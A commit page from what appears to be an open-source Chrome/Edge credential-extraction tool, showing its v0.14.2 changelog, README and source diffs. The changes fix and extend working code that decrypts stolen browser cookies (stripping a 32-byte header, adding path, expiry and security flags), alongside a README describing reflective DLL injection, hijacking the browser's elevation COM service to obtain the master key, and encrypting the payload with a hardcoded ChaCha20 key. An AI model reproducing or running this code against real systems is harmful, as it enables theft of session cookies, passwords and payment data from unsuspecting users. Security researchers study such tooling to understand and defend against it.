Skip to content

Commit 4abe3e4

Browse files
committed
v0.14.2
1 parent 88c95e6 commit 4abe3e4

12 files changed

+53
-27
lines changed

CHANGELOG.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,13 @@
22

33
## 🆕 Changelog
44

5+
### v0.14.2
6+
- **Bug Fix: Corrected Cookie Decryption Payload Handling**: Resolved a critical regression where encrypted cookie values were not being correctly parsed after decryption.
7+
- The recent architectural refactor to a data-driven configuration (`v0.14.1`) inadvertently omitted a crucial processing step specific to cookie payloads. Unlike passwords or payment data, the decrypted plaintext for a cookie contains a 32-byte metadata header that must be stripped to reveal the actual cookie value.
8+
- **Feature Enhancement: Expanded Cookie Data Extraction**: The tool now extracts a richer set of cookie attributes, providing a more comprehensive data set for analysis.
9+
- The SQLite query for cookies has been expanded to include `path`, `expires_utc`, `is_secure`, and `is_httponly`.
10+
- The JSON output has been updated accordingly to include these new fields, converting the boolean flags to proper `true`/`false` values for improved usability.
11+
512
### v0.14.1
613
- **Architecture-Specific Stability Fix for x64 Syscall Trampoline**: Overhauled the x64 assembly trampoline to resolve a critical stability bug that caused a silent crash in the payload thread immediately after injection on x64 systems.
714
- The previous dynamic, argument-aware loop created a complex code path that resulted in the assembler (`ml64.exe`) generating incorrect stack unwind data. This faulty data led to stack corruption and a silent crash when the new thread was initialized by the OS, causing the injector to hang indefinitely.

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ The tool's execution is focused on stealth and efficiency, built around a **Dire
3131
### **Stage 2: The Injected Payload (In-Memory)**
3232

3333
1. **Bootstrapping:** The `ReflectiveLoader` stub executes, functioning as a custom in-memory PE loader. It correctly maps the DLL's sections, performs base relocations, and resolves its Import Address Table (IAT) by parsing the PEB and hashing function names. Finally, it invokes the payload's `DllMain`.
34-
2. **C2 Connection & Setup:** The `DllMain` spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe.
34+
2. **Connection & Setup:** The `DllMain` spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe.
3535
3. **Target-Context COM Hijack:** Now running natively within the browser process, the payload instantiates the browser's internal `IOriginalBaseElevator` or `IEdgeElevatorFinal` COM server. As the call originates from a trusted process path, all of the server's security checks are passed.
3636
4. **Master Key Decryption:** The payload calls the `DecryptData` method on the COM interface, providing the `app_bound_encrypted_key` it reads from the `Local State` file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload.
3737
5. **Data Exfiltration:** Armed with the AES key, the payload enumerates all user profiles (`Default`, `Profile 1`, etc.). For each profile, it queries the relevant SQLite databases (`Cookies`, `Login Data`, `Web Data`), decrypts the data blobs using AES-256-GCM, and formats the secrets as JSON. The results are written directly to the output directory specified by the injector.

src/chrome_decrypt.cpp

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_decrypt.cpp
2-
// v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>
@@ -281,6 +281,8 @@ namespace Payload
281281

282282
namespace Data
283283
{
284+
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
285+
284286
struct ExtractionConfig
285287
{
286288
fs::path dbRelativePath;
@@ -293,19 +295,34 @@ namespace Payload
293295
const std::vector<ExtractionConfig> &GetExtractionConfigs()
294296
{
295297
static const std::vector<ExtractionConfig> configs = {
296-
{fs::path("Network") / "Cookies", "cookies", "SELECT host_key, name, encrypted_value FROM cookies;",
298+
{fs::path("Network") / "Cookies", "cookies", "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
297299
nullptr,
298300
[](sqlite3_stmt *stmt, const auto &key, const auto &state) -> std::optional<std::string>
299301
{
300-
const uint8_t *blob = reinterpret_cast<const uint8_t *>(sqlite3_column_blob(stmt, 2));
302+
const uint8_t *blob = reinterpret_cast<const uint8_t *>(sqlite3_column_blob(stmt, 6));
301303
if (!blob)
302304
return std::nullopt;
303305
try
304306
{
305-
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
306-
return " {\"host\":\"" + Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 0)) +
307-
"\",\"name\":\"" + Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 1)) +
308-
"\",\"value\":\"" + Utils::EscapeJson({(char *)plain.data(), plain.size()}) + "\"}";
307+
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
308+
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
309+
{
310+
return std::nullopt;
311+
}
312+
313+
const char *value_start = reinterpret_cast<const char *>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
314+
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
315+
316+
std::ostringstream json_entry;
317+
json_entry << " {\"host\":\"" << Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 0)) << "\""
318+
<< ",\"name\":\"" << Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 1)) << "\""
319+
<< ",\"path\":\"" << Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 2)) << "\""
320+
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
321+
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
322+
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
323+
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
324+
<< "}";
325+
return json_entry.str();
309326
}
310327
catch (...)
311328
{

src/chrome_inject.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_inject.cpp
2-
// v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>

src/encryptor.cpp

Lines changed: 13 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// encryptor.cpp
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
// Define the implementation flag BEFORE including the header
@@ -16,23 +16,24 @@ static const uint8_t aKey[32] = {
1616
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,
1717
0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46,
1818
0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95,
19-
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94
20-
};
19+
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94};
2120

2221
// A 96-bit (12-byte) nonce.
2322
static const uint8_t aNonce[12] = {
2423
0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54,
25-
0x88, 0xE5, 0x3C, 0x50
26-
};
24+
0x88, 0xE5, 0x3C, 0x50};
2725

28-
int main(int argc, char* argv[]) {
29-
if (argc != 3) {
26+
int main(int argc, char *argv[])
27+
{
28+
if (argc != 3)
29+
{
3030
std::cerr << "Usage: " << argv[0] << " <input_file> <output_file>" << std::endl;
3131
return 1;
3232
}
3333

3434
std::ifstream inFile(argv[1], std::ios::binary);
35-
if (!inFile) {
35+
if (!inFile)
36+
{
3637
std::cerr << "Error opening input file: " << argv[1] << std::endl;
3738
return 1;
3839
}
@@ -44,12 +45,13 @@ int main(int argc, char* argv[]) {
4445
chacha20_xor(aKey, aNonce, buffer.data(), buffer.size(), 0);
4546

4647
std::ofstream outFile(argv[2], std::ios::binary);
47-
if (!outFile) {
48+
if (!outFile)
49+
{
4850
std::cerr << "Error opening output file: " << argv[2] << std::endl;
4951
return 1;
5052
}
51-
52-
outFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
53+
54+
outFile.write(reinterpret_cast<const char *>(buffer.data()), buffer.size());
5355
outFile.close();
5456

5557
std::cout << "Successfully ChaCha20-encrypted " << argv[1] << " to " << argv[2] << std::endl;

src/reflective_loader.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.c
2-
// v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <windows.h>

src/reflective_loader.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.h
2-
// v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#ifndef REFLECTIVE_LOADER_H

src/resource.rc

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
// resource.rc
2-
// v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.2 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
PAYLOAD_DLL RCDATA "chrome_decrypt.enc"

src/syscall_trampoline_arm64.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
; syscall_trampoline_arm64.asm
2-
; v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
; v0.14.2 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
55
; A simple and ABI-compliant ARM64 trampoline. This version preserves callee-saved

src/syscall_trampoline_x64.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
; syscall_trampoline_x64.asm
2-
; v0.14.1 (c) Alexander 'xaitax' Hagenah
2+
; v0.14.2 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
55
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.

0 commit comments

Comments
 (0)